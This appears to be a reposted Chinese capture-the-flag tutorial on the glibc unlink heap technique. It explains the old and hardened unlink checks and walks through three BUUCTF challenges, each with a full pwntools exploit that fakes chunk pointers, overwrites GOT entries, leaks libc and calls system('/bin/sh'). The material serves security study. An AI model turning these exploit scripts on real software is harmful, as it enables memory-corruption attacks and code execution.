Unlink

Unlink

原理

  1. 我们在利用 unlink 所造成的漏洞时,其实就是对 chunk 进行内存布局,然后借助 unlink 操作来达成修改指针的效果。
  2. 简单回顾一下 unlink 的目的与过程,其目的是把一个双向链表中的空闲块拿出来(例如 free 时和目前物理相邻的 free chunk 进行合并)。其基本的过程如下:

image-20240713185855252

下面我们首先介绍一下 unlink 最初没有防护时的利用方法,然后介绍目前利用 unlink 的方式。

古老的unlink:

  1. 在最初 unlink 实现的时候,其实是没有对 chunk 的 size 检查和双向链表检查的,即没有如下检查代码:

    // 由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致(size检查)
    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \malloc_printerr ("corrupted size vs. prev_size");               \
    // 检查 fd 和 bk 指针(双向链表完整性检查)
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      \malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \// largebin 中 next_size 双向链表完整性检查 if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)              \|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \malloc_printerr (check_action,                                      \"corrupted double-linked list (not small)",    \P, AV);
    
  2. 这里我们以 32 位为例,假设堆内存最初的布局是下面的样子:

    image-20240718193438926

    1. 现在有物理空间连续的两个 chunk(Q,Nextchunk),其中 Q 处于使用状态、Nextchunk 处于释放状态。那么如果我们通过某种方式(比如溢出)将 Nextchunk 的 fd(target addr -12 )bk(expect value ) 指针值修改为指定的值。则当我们 free(Q) 时:
    • glibc 判断这个块是 small chunk
    • 判断前向合并,发现前一个 chunk 处于使用状态,不需要前向合并
    • 判断后向合并,发现后一个 chunk 处于空闲状态,需要合并
    • 继而对 Nextchunk 采取 unlink 操作
    1. 那么 unlink 具体执行的效果是什么样子呢?我们可以来分析一下:
    • FD = P->fd = target addr -12 【索引到Nextchunk的下一个chunk
    • BK = P->bk = expect value 【索引到Nextchunk的上一个chunk
    • FD->bk = BK,即 *(target addr-12+12)=BK= expect value (成功将目标地址target addr的值改为expect value) 【下一个chunk的bk值,要等于Nextchunk的上一个chunk地址】
    • BK->fd = FD,即 *(expect value +8) = FD = target addr-12 【上一个chunk的fd值,要等于Nextchunk的下一个chunk地址】
    1. 看起来我们似乎可以通过 unlink 直接实现任意地址读写的目的,但是我们还是需要确保 expect value +8 地址 (去掉chunk的头,32位的头大小为8bit)具有 可写的权限

      比如说我们将 target addr 设置为某个 got 表项,那么当程序调用对应的 libc 函数时,就会直接执行我们设置的值(expect value)处的代码。需要注意的是,expect value+8 处的值被破坏了,需要想办法绕过。

当前的 unlink:

  1. 但是,现实是残酷的。我们刚才考虑的是没有检查的情况,但是一旦加上检查,就没有这么简单了。我们看一下对 fd 和 bk 的检查 :(释放free前的检查)

    // fd bk
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      \malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
    

    此时:

    • FD->bk = target addr - 12 + 12=target_addr
    • BK->fd = expect value + 8

    那么我们上面所利用的修改 GOT 表项的方法就可能不可用了。但是我们可以通过伪造的方式绕过这个机制

    首先我们通过覆盖,将 nextchunk 的 FD 指针指向了 fakeFD,将 nextchunk 的 BK 指针指向了 fakeBK 。那么为了通过验证,我们需要:(先检查,后unlink)

    • fakeFD -> bk == P <=> *(fakeFD + 12) == P
    • fakeBK -> fd == P <=> *(fakeBK + 8) == P

    满足上述两式时,可以进入 Unlink 的环节,进行如下操作:

    • fakeFD -> bk = fakeBK <=> *(fakeFD + 12) = fakeBK
    • fakeBK -> fd = fakeFD <=> *(fakeBK + 8) = fakeFD

    image-20240713201826299

    如果让 fakeFD + 12 和 fakeBK + 8 指向同一个指向 P 的指针,那么:

    • *P = P - 8
    • *P = P - 12

    即通过此方式,P 的指针指向了比自己低 12 的地址处。此方法虽然不可以实现任意地址写,但是可以修改指向 chunk 的指针,这样的修改是可以达到一定的效果的。

    如果我们想要使得两者都指向 P,只需要按照如下方式修改即可:

    image-20240713203135215

    需要注意的是,这里我们并没有违背下面的约束,因为 P 在 Unlink 前是指向正确的 chunk 的指针。

        // 由于P已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致。if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \malloc_printerr ("corrupted size vs. prev_size");               \
    

    此外,其实如果我们设置 next chunk 的 fd 和 bk 均为 nextchunk 的地址也是可以绕过上面的检测的。但是这样的话,并不能达到修改指针内容的效果。

利用思路:

条件:

  1. UAF ,可修改 free 状态下 smallbin 或是 unsorted bin 的 fd 和 bk 指针。
  2. 已知位置存在一个指针指向可进行 UAF 的 chunk

效果

  1. 使得已指向 UAF chunk 的指针 ptr 变为 ptr - 0x18

思路:

  1. 设指向可 UAF chunk 的指针的地址 (就是指针的地址,而不是指针指向的地址)为 ptr
    • 修改 fd 为 ptr - 0x18
    • 修改 bk 为 ptr - 0x10
    • 绕过检测,并触发 unlink
    • ptr 处的指针会变为 ptr - 0x18

例题1:

题目地址:BUUCTF在线评测 (buuoj.cn)

思路:

  1. 使用unlink申请到heaplist附近的堆,再修改heaplist指向下一个chunk,创造傀儡
  2. 利用傀儡hook掉strlen函数,指向puts函数的plt表,这样strlen就能输出内容,便于后面泄漏libc基地址。
  3. 利用傀儡任意地址读数据,泄漏puts函数的got值,获取libc基地址。
  4. 利用傀儡任意地址写数据,hook掉free函数的got表,指向system函数。
  5. 最后free一个chunk内容为b"/bin/sh\x00"的chunk,直接getshell。

分析:

函数分析后执行命名:

  1. add函数,能添加指定大小的chunk:

    image-20240718120728725

  2. edit函数,指定输入的size大小,存在堆溢出(我们只需要溢出一个字节即可):

    image-20240718120844942

  3. delete函数,清空了堆指针,没有UAF漏洞:

    image-20240718193409979

  4. show函数,没有输出chunk中的内容,所以要hook函数strlen,来获取输出(堆指针指向的位置):

    image-20240718193400063

利用:

  1. 先构造unlink,利用heaplist中存储的指向chunk2的指针,来绕过检查,将fd值写入到bk+0x10地址

    add(0x10)   #1  没用
    add(0x20)   #2  构造unlink
    add(0x80)   #3  触发unlink
    add(0x10)   #4  防止合并
    add(0x10)   #5 最后free,getshell
    edit(5,b"/bin/sh\x00")   #最后free,getshell#构造unlink
    heap_list = 0x602150
    fd = heap_list-0x18
    bk = heap_list-0x10
    content = p64(fd)+p64(bk)
    size = 0x21
    prve_size = 0x20
    next_size = 0x90
    payload2 = p64(0) + p64(size) + content + p64(prve_size)+p64(next_size)
    edit(2,payload2)
    #触发unlink
    free(3)
    

    image-20240718121642587

  2. 创建傀儡chunk,chunk4作为傀儡:

    #利用unlink,创造傀儡chunk4,通过chunk2控制傀儡
    new_addr = 0x602160
    payload2 = p64(0)*3 + p64(new_addr)
    edit(2,payload2)
    

    image-20240718121952215

  3. 利用傀儡,hook掉strlen函数,指向puts函数的plt表:

    #利用傀儡,先用puts函数hook掉strlen函数
    payload2 = p64(elf.got["strlen"])     #写入strlen函数的got表
    edit(2,payload2)payload4 = p64(elf.plt["puts"])       #修改strlen函数的got表
    edit(4,payload4)
    

    image-20240718122215835

  4. 继续利用傀儡,泄漏puts函数的got表,从而获取libc基地址:

    #利用傀儡,泄漏puts函数的got表,泄漏libc基地址
    payload2 = p64(elf.got["puts"])     #写入puts函数的got表
    edit(2,payload2)show(4)     #输出puts函数got表的内容
    #获取libc基地址
    puts_addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
    libc_base = puts_addr - libc.symbols['puts']
    sys_addr = libc_base + libc.symbols['system']
    success("puts_addr==>"+hex(puts_addr))
    success("libc_addr==>"+hex(libc_base))
    success("system_addr==>"+hex(sys_addr))
    

    image-20240718122440300

  5. 继续利用傀儡,hook掉free函数的got表,改为system函数地址,最后free掉chunk5即可getshell:

    #继续利用傀儡,hook掉free函数的got表,改为system函数地址
    payload2 = p64(elf.got["free"])     #写入strlen函数的got表
    edit(2,payload2)payload4 = p64(sys_addr)       #修改free函数的got表
    edit(4,payload4)
    # debug()
    free(5)
    p.sendline(b"cat flag")
    p.interactive()
    

    image-20240718193345268

  6. 完整的EXP:

    from pwn import *
    from LibcSearcher import *
    context(os='linux', arch='amd64', log_level='debug')def debug():print(proc.pidof(p))pause()# p = remote("node5.buuoj.cn",28221)
    p = process("./pwn")
    libc = ELF('/home/kali/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
    elf = ELF("./pwn")def add(size):p.sendline(b'1')p.sendline(str(size))def edit(index, content):p.sendline(b'2')p.sendline(str(index).encode())p.sendline(str(len(content)))p.sendline(content)def show(index):p.sendline(b'4')p.sendline(str(index).encode())def free(index):p.sendline(b'3')p.sendline(str(index).encode())#unlink实现任意地址写,hook下strlen函数的got表用来泄漏libc,再hook一下free的got去getshelladd(0x10)   #1  没用
    add(0x20)   #2  构造unlink
    add(0x80)   #3  触发unlink
    add(0x10)   #4  防止合并
    add(0x10)   #5 最后free,getshell
    edit(5,b"/bin/sh\x00")   #最后free,getshell#构造unlink
    heap_list = 0x602150
    fd = heap_list-0x18
    bk = heap_list-0x10
    content = p64(fd)+p64(bk)
    size = 0x21
    prve_size = 0x20
    next_size = 0x90
    payload2 = p64(0) + p64(size) + content + p64(prve_size)+p64(next_size)
    edit(2,payload2)#触发unlink
    free(3)#利用unlink,创造傀儡chunk4,通过chunk2控制傀儡
    new_addr = 0x602160
    payload2 = p64(0)*3 + p64(new_addr)
    edit(2,payload2)#利用傀儡,先用puts函数hook掉strlen函数
    payload2 = p64(elf.got["strlen"])     #写入strlen函数的got表
    edit(2,payload2)payload4 = p64(elf.plt["puts"])       #修改strlen函数的got表
    edit(4,payload4)#利用傀儡,泄漏puts函数的got表,泄漏libc基地址
    payload2 = p64(elf.got["puts"])     #写入puts函数的got表
    edit(2,payload2)show(4)     #输出puts函数got表的内容
    #获取libc基地址
    puts_addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
    libc_base = puts_addr - libc.symbols['puts']
    sys_addr = libc_base + libc.symbols['system']
    success("puts_addr==>"+hex(puts_addr))
    success("libc_addr==>"+hex(libc_base))
    success("system_addr==>"+hex(sys_addr))#继续利用傀儡,hook掉free函数的got表,改为system函数地址
    payload2 = p64(elf.got["free"])     #写入strlen函数的got表
    edit(2,payload2)payload4 = p64(sys_addr)       #修改free函数的got表
    edit(4,payload4)
    debug()free(5)
    p.sendline(b"cat flag")
    p.interactive()
    

    成功拿到flag:

    image-20240718122855514

例题2

题目地址:BUUCTF在线评测 (buuoj.cn)

思路:

unlink的思路:(只讲unlink的思路)
  1. 申请一个大小为0的chunk,系统会返回size为0x21的chunk,此时会存在堆溢出。
  2. 再申请两个chunk,0x30,0x80,用来伪造unlink,和触发unlink。
  3. 利用unlink修改heaplist指针,创建傀儡chunk。
  4. 利用傀儡任意地址读数据,泄漏puts函数的got值,获取libc基地址。
  5. 利用傀儡任意地址写数据,hook掉free函数的got表,指向system函数。
  6. 最后free一个chunk内容为b"/bin/sh\x00"的chunk,直接getshell。
利用堆溢出,fast attack思路:
  1. 申请一个大小为0的chunk,系统会返回size为0x21的chunk,此时会存在堆溢出。
  2. 释放一个chunk,修改其fd指针,申请伪造的chunk,溢出后覆盖heaplist。
  3. 现在都有,任意地址写和任意地址读数据,泄漏libc,hook掉free函数got表,进而getshell。

分析:

  1. add函数中自定义的read函数,当size为0时,无符号比较-1会一致比i大,但是当申请一个为0的大小,系统会返回size为0x21的chunk ,所以会造成堆溢出:

    image-20240718165817469

  2. delete函数,堆指针清0,没有UAF:

    image-20240718165929758

  3. show函数,打印堆指针处的数据,利用它来泄漏libc基地址:

    image-20240718165957049

  4. edit函数,同样使用了自定义的read函数,但是无论是strncat函数还是strcpy函数,都会以b"\x00"结尾,所以edit函数不能输入类似于p64(0)的数据,只有add函数能输入

    image-20240718170036756

利用:

  1. 先构造unlink,利用heaplist中存储的指向chunk1的指针,来绕过检查,将fd值写入到bk+0x10地址 ,因为edit函数不能输入p64(0),所以采取 先申请add(0,b"a")占位,再释放,再申请add(0,payload0) 的方式将构造的unlink写入:

    p.sendline(b"lzl")
    p.sendline(b"lzl")
    #unlink实现任意地址写,泄漏puts函数地址进而泄漏libc基地址,再hook一下free的got去getshell
    add(0,b'a')      #0  先占位
    add(0x20,b'a')   #1  构造unlink
    add(0x80,b'a')   #2  触发unlink#构造unlink
    heap_list = 0x602128
    fd = heap_list-0x18
    bk = heap_list-0x10
    content = p64(fd)+p64(bk)
    size = 0x21
    prve_size = 0x20
    next_size = 0x90
    payload0 = b"/bin/sh\x00" + p64(0)*2 +p64(0x31) + p64(0) + p64(size) + content + p64(prve_size)+p64(next_size)free(0)
    add(0,payload0)     #4 溢出修改chunk1伪造unlink,申请到先前释放dechunk0
    #触发unlink
    free(2)
    

    image-20240718170849409

  2. 利用unlink,创造傀儡chunk2,通过chunk1控制傀儡chunk2:

    #利用unlink,创造傀儡chunk2,通过chunk1控制傀儡
    new_addr = 0x602130
    payload2 = b"a"*8*3 + p64(new_addr)	#这里必须用b"a"填充,用p64(0)会输入不进去
    edit(1,payload2)
    

    image-20240718193308521

  3. 往傀儡中写入puts函数的got表地址,输出泄漏puts函数地址,进而泄漏libc基地址

    #利用傀儡,泄漏puts函数的got表,泄漏libc基地址
    payload2 = p64(elf.got["puts"])     #写入puts函数的got表
    edit(1,payload2)
    show(2)     #输出puts函数got表的内容#获取libc基地址
    puts_addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
    libc_base = puts_addr - libc.symbols['puts']
    sys_addr = libc_base + libc.symbols['system']
    success("puts_addr==>"+hex(puts_addr))
    success("libc_addr==>"+hex(libc_base))
    success("system_addr==>"+hex(sys_addr))
    

    image-20240718193255412

  4. 继续利用傀儡,hook掉free函数的got表,改为system函数地址:

    payload2 = p64(elf.got["free"])     #写入strlen函数的got表
    edit(1,payload2)payload4 = p64(sys_addr)       #修改free函数的got表
    edit(2,payload4)#现在只有chunk3能使用(也是chunk0),前面已经向chunk0写入b"/bin/sh\x00"
    free(3)
    p.sendline(b"cat flag")
    p.interactive()
    

    image-20240718172053034

例题3

思路:

  1. 和前面那一题一样的漏洞,但是show函数名存实亡,所以再unlink后泄漏libc地址时,需要先用puts函数plt地址来hook一下free函数,进而输出puts函数的地址 ==> 得到libc基地址。
  2. 然后就是edit函数能直接写入b"\x00"了。
  3. 后续利用方式于上题相同。

当然这题也可以用 堆溢出+fast attack 来做。

分析:

  1. add函数中自定义的read函数,当size为0时,无符号比较-1会一致比i大,但是当申请一个为0的大小,系统会返回size为0x21的chunk ,所以会造成堆溢出:

    image-20240718191415913

  2. show函数,名存实亡:

    image-20240718191432686

  3. delete函数,任然没有UAF:

    image-20240718191449652

  4. edit函数,写入的时候于add函数中的调用相同,相比于上一题使用strcat,这次能写入b"\x00":

    image-20240718191505911

利用:

  1. 利用heaplist伪造unlink,与上体相同:

    add(0,b'a')      #0  溢出修改chunk2
    add(0x20,b'a')   #1  构造unlink
    add(0x80,b'a')   #2  触发unlink
    add(0x10,b"a")   #3  防止合并#构造unlink
    heap_list = 0x6020d0    #存放伪造unlink地址的heaplist地址
    fd = heap_list-0x18
    bk = heap_list-0x10
    content = p64(fd)+p64(bk)
    size = 0x21
    prve_size = 0x20
    next_size = 0x90
    payload0 =  p64(0)*3 +p64(0x31) + p64(0) + p64(size) + content + p64(prve_size)+p64(next_size)edit(0,payload0)
    #触发unlink
    free(2)
    
  2. 泄漏libc地址,由于没有show函数,所以利用free函数来输出 ==> 用puts函数的plt地址覆盖掉free函数got表中的值,然后再修改亏chunk中的值为puts函数的got表地址,free掉傀儡chunk得到puts函数地址,进而获得libc基地址:

    #利用傀儡,泄漏puts函数的got表,泄漏libc基地址
    payload1 = p64(elf.got["free"])     #写入free函数的got表,
    edit(1,payload1)payload2 = p64(elf.plt["puts"])[0:7] #用puts函数的plt地址hook掉,这里只西药7位,给8位时edit后会将got表的下一项最低为赋值为0,hi报错
    edit(2,payload2)
    payload1 = p64(elf.got["puts"])     #写入puts函数的got表,后续free输出泄漏
    edit(1,payload1)
    free(2)
    #获取libc基地址
    puts_addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
    libc_base = puts_addr - libc.symbols['puts']
    sys_addr = libc_base + libc.symbols['system']
    success("puts_addr==>"+hex(puts_addr))
    success("libc_addr==>"+hex(libc_base))
    success("system_addr==>"+hex(sys_addr))
    

    image-20240718192319557

    image-20240718192523139

  3. 最后,用system函数的地址hook掉free函数的got表项,free掉一个指向b"/bin/sh\x00"的指针,即可getshell:

    #继续利用傀儡,hook掉free函数的got表,改为system函数地址
    payload2 = p64(elf.got["free"])     #写入strlen函数的got表
    edit(1,payload2)payload4 = p64(sys_addr)[0:7]      #修改free函数的got表
    edit(2,payload4)edit(3,b"/bin/sh\x00")
    free(3)
    p.sendline(b"cat flag")
    p.interactive()
    
  4. 完整EXP:

    from pwn import *
    from LibcSearcher import *
    context(os='linux', arch='amd64', log_level='debug')def debug():print(proc.pidof(p))pause()# p = remote("node5.buuoj.cn",26686)
    p = process("./pwn")
    libc = ELF('/home/kali/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
    elf = ELF("./pwn")def add(size,content):p.sendlineafter(b'>',b'1')p.sendline(str(size).encode())p.sendline(content)def edit(index, content):p.sendlineafter(b'>',b'3')p.sendlineafter(b":\n",str(index).encode())p.sendlineafter(b":",content)# def show(index):# p.sendlineafter(b'>',b'2')# p.sendline(str(index).encode())def free(index):p.sendlineafter(b'>',b'4')p.sendline(str(index).encode())add(0,b'a')      #0  溢出修改chunk2
    add(0x20,b'a')   #1  构造unlink
    add(0x80,b'a')   #2  触发unlink
    add(0x10,b"a")   #3  防止合并#构造unlink
    heap_list = 0x6020d0    #存放伪造unlink地址的heaplist地址
    fd = heap_list-0x18
    bk = heap_list-0x10
    content = p64(fd)+p64(bk)
    size = 0x21
    prve_size = 0x20
    next_size = 0x90
    payload0 =  p64(0)*3 +p64(0x31) + p64(0) + p64(size) + content + p64(prve_size)+p64(next_size)edit(0,payload0)
    # debug()
    #触发unlink
    free(2)#利用unlink,创造傀儡chunk2,通过chunk1控制傀儡chunk2
    new_addr = 0x6020d8
    payload1 = p64(0)*3 + p64(new_addr)
    edit(1,payload1)#利用傀儡,泄漏puts函数的got表,泄漏libc基地址
    payload1 = p64(elf.got["free"])     #写入free函数的got表,
    edit(1,payload1)payload2 = p64(elf.plt["puts"])[0:7] #用puts函数的plt地址hook掉
    edit(2,payload2)payload1 = p64(elf.got["puts"])     #写入puts函数的got表,后续free输出泄漏
    edit(1,payload1)
    debug()
    free(2)
    #获取libc基地址
    puts_addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
    libc_base = puts_addr - libc.symbols['puts']
    sys_addr = libc_base + libc.symbols['system']
    success("puts_addr==>"+hex(puts_addr))
    success("libc_addr==>"+hex(libc_base))
    success("system_addr==>"+hex(sys_addr))#继续利用傀儡,hook掉free函数的got表,改为system函数地址
    payload2 = p64(elf.got["free"])     #写入strlen函数的got表
    edit(1,payload2)payload4 = p64(sys_addr)[0:7]      #修改free函数的got表
    edit(2,payload4)edit(3,b"/bin/sh\x00")
    # debug()
    free(3)p.sendline(b"cat flag")
    p.interactive()
    

    成功拿到flag:

    image-20240718192933518

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/46349.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Leetcode二分搜索法浅析

文章目录 1.二分搜索法1.1什么是二分搜索法&#xff1f;1.2解法思路 1.二分搜索法 题目原文&#xff1a; 给定一个 n 个元素有序的&#xff08;升序&#xff09;整型数组 nums 和一个目标值 target &#xff0c;写一个函数搜索 nums 中的 target&#xff0c;如果目标值存在返…

从PyTorch官方的一篇教程说开去(1 - 初心)

原文在此&#xff0c;喜欢读原汁原味的可以自行去跟&#xff0c;这是一个非常经典和有学习意义的例子&#xff0c;在此向老爷子们致敬 - https://pytorch.org/tutorials/intermediate/reinforcement_q_learning.html 开源文化好是好&#xff0c;但是“公地的悲哀”这点避不开…

高效运维:构建全面监控与自动化管理体系

在当今的数字化时代&#xff0c;运维管理已成为企业IT架构中不可或缺的一环。它不仅关乎系统的稳定运行&#xff0c;更直接影响到业务的响应速度、故障处理时间以及客户满意度等多个方面。因此&#xff0c;构建一套全面监控与自动化管理体系&#xff0c;对于提升企业运维效率、…

无人机之多旋翼与固定翼的区别

多旋翼无人机和固定翼无人机是无人机技术中的两种主要形式&#xff0c;各自有独特的优势和应用场景。 一、飞行原理与结构 多旋翼无人机&#xff1a;依靠多个旋翼产生升力来平衡飞行器的重力&#xff0c;通过改变每个旋翼的转速控制飞行器的姿态和平稳&#xff0c;使其能够垂…

PDF文件无法编辑?3步快速移除PDF编辑限制

正常来说,我们通过编辑器打开pdf文件后,就可以进行编辑了&#xff61;如果遇到了打开pdf却不能编辑的情况,那有可能是因为密码或是扫描件的原因&#xff61;小编整理了一些pdf文件无法编辑&#xff0c;以及pdf文件无法编辑时我们要如何处理的方法&#xff61;下面就随小编一起来…

[word] word如何编写公式? #微信#知识分享

word如何编写公式&#xff1f; word如何编写公式&#xff1f;Word中数学公式是经常会使用到的&#xff0c;若是要在文档中录入一些复杂的公式&#xff0c;要怎么做呢&#xff1f;接下来小编就来给大家讲一讲具体操作&#xff0c;一起看过来吧&#xff01; 方法一&#xff1a;…

stm32学习:(寄存器3)系统架构

时钟系统 时钟树 在STM32中有3种不同的时钟源用来驱动系统时钟(SYSCLK)&#xff1a; HSI振荡器时钟&#xff08;High Speed Internal oscillator&#xff0c;高速内部时钟&#xff09;HSE振荡器时钟&#xff08;High Speed External&#xff08;Oscillator / Clock&#xff…

Ruby爬虫技术:深度解析Zhihu网页结构

在互联网时代&#xff0c;数据的价值日益凸显&#xff0c;尤其是在社交媒体和问答平台如Zhihu&#xff08;知乎&#xff09;上&#xff0c;用户生成的内容蕴含着丰富的信息和洞察。本文将深入探讨如何使用Ruby爬虫技术来解析Zhihu的网页结构&#xff0c;并获取有价值的数据。 …

啊?原来你也看环法赛!—VELO Angel Glide坐垫,与你共攀环法荣耀之路!

当七月的热浪席卷赛道&#xff0c;环法自行车赛&#xff08;Tour de France&#xff09;的战鼓再次响起&#xff0c;挑战与梦想交织的火花在每一寸赛道上绽放。自1903年首届赛事以来&#xff0c;环法已成为全球最具声望的自行车赛事&#xff0c;吸引着无数顶尖骑手和观众的目光…

c语言程序环境和预处理

test.c(源文件) --> 编译器 --> test.obj(目标文件,在debug里) 链接库和多个目标文件 经过 链接器的处理&#xff0c;最终生成可执行程序.exe 编译阶段 预处理/预编译阶段 &#xff1a;1.头文件的包含 2.define定义符号的替换&#xff0c;并删除定义的符号 3.删除注释 这…

医学影像归档与通讯系统源码,C#PACS源码,涵盖放射、超声、内镜、病理、核医学

医学影像归档与通讯系统&#xff08;PACS&#xff09;系统&#xff0c;是一套适用于从单一影像设备到放射科室、到全院级别等各种应用规模的医学影像归档与通讯系统。PACS集患者登记、图像采集、存档与调阅、报告与打印、查询、统计、刻录等功能为一体&#xff0c;有效地实现了…

【保卫花果山】游戏

游戏介绍 拯救花果山是一款玩家能够进行趣味闯关的休闲类游戏。拯救花果山中玩家需要保护花果山的猴子&#xff0c;利用各种道具来防御妖魔鬼怪的入侵&#xff0c;游戏中玩家需要面对的场景非常的多样&#xff0c;要找到各种应对敌人的方法。拯救花果山里玩家可以不断的进行闯…

【开源 Mac 工具推荐之 2】洛雪音乐(lx-music-desktop):免费良心的音乐平台

旧版文章&#xff1a;【macOS免费软件推荐】第6期&#xff1a;洛雪音乐 Note&#xff1a;本文在旧版文章的基础上&#xff0c;新更新展示了一些洛雪音乐的新功能&#xff0c;并且描述更为详细。 简介 洛雪音乐&#xff08;GitHub 名&#xff1a;lx-music-desktop &#xff09;…

JavaScript学习笔记(九)

56、JavaScript 类 56.1 JavaScript 类的语法 请使用关键字 class 创建一个类。 请始终添加一个名为 constructor() 的方法。 JavaScript 类不是对象。 它是 JavaScript 对象的模板。 语法&#xff1a; class ClassName {constructor() { ... } }示例&#xff1a;例子创…

C#实现数据采集系统-ModbusTCP查询报文分析和实现、通信实现、测试项目

ModbusTcp的应用 Modbus是工业通信协议中广泛使用的协议,大部分设备都支持。Modbus TCP是一种基于TCP/IP网络的工业通信协议,它是Modbus协议的一种变种,专门设计用于在网络上传输数据。 Modbus TCP/IP保留了Modbus串行协议的数据结构和功能特性,同时利用了TCP/IP网络的高…

什么是 std::ios::sync_with_stdio(false)

介绍 std::ios::sync_with_stdio(false) 是 C 中的一个配置设置&#xff0c;用于控制标准 I/O 流&#xff08;如 std::cin, std::cout&#xff09;的行为。这个设置主要用于优化输入输出操作的性能&#xff0c;尤其是在处理大量数据时。 在 C 中&#xff0c;标准流库&#xf…

stm32:CAN通讯

目录 介绍 协议层 CAN的 帧/报文 种类 数据帧 远程帧&#xff08;遥控帧&#xff09; 错误帧 过载帧 帧间隔 总线仲裁 stm32的CAN外设 工作模式 测试模式 功能框图 时序 标准时序 例子 环回静默模式测试 寄存器代码 HAL版本 介绍 一种功能丰富的车用总线标…

24暑假算法刷题 | Day15 | LeetCode 110. 平衡二叉树,257. 二叉树的所有路径,404. 左叶子之和,222. 完全二叉树的节点个数

目录 110. 平衡二叉树题目描述题解 257. 二叉树的所有路径题目描述题解 404. 左叶子之和题目描述题解 222. 完全二叉树的节点个数题目描述题解 110. 平衡二叉树 点此跳转题目链接 题目描述 给定一个二叉树&#xff0c;判断它是否是平衡二叉树 平衡二叉树 是指该树所有节点的…

Redis-布隆过滤器(Bloom Filter)详解

文章目录 什么是布隆过滤器 布隆过滤器的优点&#xff1a;布隆过滤器的缺点&#xff1a;其他问题 布隆过滤器适合的场景布隆过滤器原理 数据结构增加元素查询元素删除元素 如何使用布隆过滤器 Google开源的Guava自带布隆过滤器Redis实现布隆过滤器 Redis中配置布隆过滤器Redis…

【echarts】tooltip 增加单位

单个柱子 const data [{value: 1,per: 2},{value: 22,per: 2},{value: 222,per: 3} ];tooltip: {trigger: axis,show: true,axisPointer: {type: line,lineStyle: {color: rgba(0, 0, 0, 0.03),type: solid,width: 60,},},formatter(params) {return ${params[0].name}: ${par…